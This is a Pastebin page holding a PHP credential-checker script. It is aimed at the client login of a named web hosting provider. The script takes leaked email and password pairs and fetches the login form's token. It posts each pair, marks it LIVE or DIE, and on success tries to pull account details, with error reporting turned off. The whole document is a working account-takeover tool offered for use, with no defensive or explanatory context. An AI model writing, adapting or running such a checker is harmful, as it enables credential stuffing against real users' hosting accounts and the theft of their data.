Advertisement
Guest User

m3m3x

a guest
Jun 17th, 2018
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.61 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. $format = $_POST['mailpass'];
  5. $pisah = explode("|", $format);
  6. $sock = $_POST['sock'];
  7. $hasil = array();
  8.  
  9. if (!isset($format)) {
  10. header('location: ./');
  11. exit;
  12. }
  13. require 'class_curl.php';
  14. if (isset($format)){
  15.    
  16.     // cek wrong
  17.     if ($pisah[1] == '' || $pisah[1] == null) {
  18.         die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
  19.     }
  20.    
  21.     $curl = new curl();
  22.     $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
  23.     $curl->ssl(0, 2);
  24.    
  25.  
  26.     $url = "https://clientzone.rumahweb.com/dologin.php";
  27.     $urldata= "https://clientzone.rumahweb.com/clientarea.php";
  28.     $page = $curl->get($url);
  29.  
  30.     if ($page) {
  31.         $alamat = getStr($urldata,'<div class="panel-body">','</div>');
  32.         $token = getStr($page,'<input type="hidden" name="token" value="','" />');
  33.         $data = "token={$token}&username={$pisah[0]}&password={$pisah[1]}";
  34.         $page = $curl->post($url, $data);
  35.         $asu = print_r($alamat);
  36.  
  37.  
  38.         if (inStr($page, "Login Details Incorrect. Please try again.")) {
  39.             die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$pisah[0].' | '.$pisah[1].' "}');
  40.         } else if (inStr($page, "Selamat Datang Kembali")) {
  41.             die('{"error":0,"msg":"<font color=green><b>LIVE</b></font> | '.$pisah[0].' | '.$pisah[1].' | '.$asu.' | [Checked on '.($_SERVER['HTTP_HOST']).']"}');
  42.         } else {
  43.             die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
  44.         }
  45.     } else {
  46.         die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].' | Unable To Connect"}');
  47.     }
  48. }
  49. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement